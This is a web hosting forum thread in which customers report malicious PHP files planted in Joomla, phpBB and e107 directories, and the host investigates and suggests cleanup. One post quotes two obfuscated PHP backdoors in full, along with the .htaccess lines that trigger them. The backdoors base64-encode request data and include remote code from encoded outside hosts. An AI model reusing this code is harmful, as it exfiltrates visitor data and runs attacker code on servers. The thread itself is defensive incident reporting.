web5 hacked?

Re: What’s Going On!!! [Web5 Hacked]

My client on win-5 noticed that some of his domains had new files in their folders.

This files are in every subfolder of his joomla instalation and in some folders in his phpbb forum.

Files are:
(some number, eg. ‘54270’).php date 11/16/2006 content:

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$i=(isset($_SERVER["SCRIPT_FILENAME"]) ? $_SERVER["SCRIPT_FILENAME"] : $SCRIPT_FILENAME);$j=(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : $HTTP_ACCEPT_LANGUAGE);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s.".base64_encode($i).".".base64_encode($j); if ((include(base64_decode("aHR0cDovLw==").base64_decode("d3d3My5waHB0YWdzLndz")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("c2hvcC52bWFya2V0LmluZm8=")."/?".$str);} ?>

other file is (some name eg. ‘time’).php date: 8/19/2006 content:

<? error_reporting(0);$s="e";$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);$c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);$d=(isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);$e=(isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);$f=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);$g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);$str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($d).".".base64_encode($e).".".base64_encode($f).".".base64_encode($g).".".base64_encode($h).".$s"; if ((include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjkubXNodG1sLnJ1")."/?".$str))){} else {include(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcuaHRtbHRhZ3MucnU=")."/?".$str);} ?>

also there is hidden file .htaccess content:
Options -MultiViews
ErrorDocument 404 //time.php

Options -MultiViews
ErrorDocument 404 //54270.php

some googling gave me this thread http://forum.mamboguru.com/showthread.php?p=1427#post1427 so i notified you.

The site looks the same but I fear the user data may have been stolen!

I’m deleting the whole site and restoring from my backups. Any of you guys having the same problems?

Re: What’s Going On!!! [Web5 Hacked]

I found exactly the same files in my e107files/public dir so deleted them. They don’t seem to have done any damage though - what are they supposed to do?

Re: What’s Going On!!! [Web5 Hacked]

I’ve also got the files (although they are not everywhere - yet)

Re: What’s Going On!!! [Web5 Hacked]

Checked all my e107 dirs - lots of these files there too! In the webshell file manager they seem to be under the ownership of httpd:httpd I’ve deleted them all but would like to know what they are supposed to do. The sites in question have very low usage but nothing seems to have happened.

Re: What’s Going On!!! [Web5 Hacked]

we are investigating

So far it seems time stamp on all these files is 2006/08/19 03:56 PM

Doesn’t mean that this is when they appeared though.

Site seem to be fine but monitoring closely (while scanning and deleting offending files).

Please let us know when the server is clean as I would like to reset all passwords - I guess necessity dictates it’s time for me to produce a password change process for my organisation groan.

we are going through the logs.. we’ll let you know
Customer files seem to be untouched.

We are in process of cleaning up system and will be posting more details here shortly.

please update us via ticket if stilll anyone see this file (time.php) or anyother suspecious file in his webspace.

The files seems to be leftovers of the last incident that werent removed due to difference in timestamp and size of these files, against the hack signs we had. The point is taken and we will do more extensive audit in future. As far as we have seen there has been no new incident since then, but feel free to report anything you find suspecious here and we will examine it for you.

You haven’t got them all - they have a variety of different names e.g. messages.php, download.php, finfo.php, create.php…

They’re always in a directory writeable by ‘others’ with an .htaccess file with the same file date.

I’m happy to delete them myself - I will submit a ticket to get a list of locations of all .htaccess files under my account.

I’m now seeing these files on web7…

Any ticket/domain/user?

No, just letting you know the problem is more wide spread… will summit a ticket once I have time to deal with it but for the moment I don’t think it’s causing a problem on any of my sites (well, I certainly hope it isn’t).

Ok thanks. I’ll figure the rest out and you should have it all clean in an hour or two.

Should be fine now. A simple method to handle this is for directory that needs write permission for PHP (like cache, templates, etc), is to have a .htaccess file with contents like:

deny from all =================== Ensure it is under ownership of your user. Now here even if you have some unwanted file in these folders, they cant be browsed (and thus executed).

Cool, thanks… will test it and make sure the suggestion is also made to the teams of the various applications we routinely use.

I’ve also begun slowly moving the cache directories out of the web root path so they are not accessible - should also help.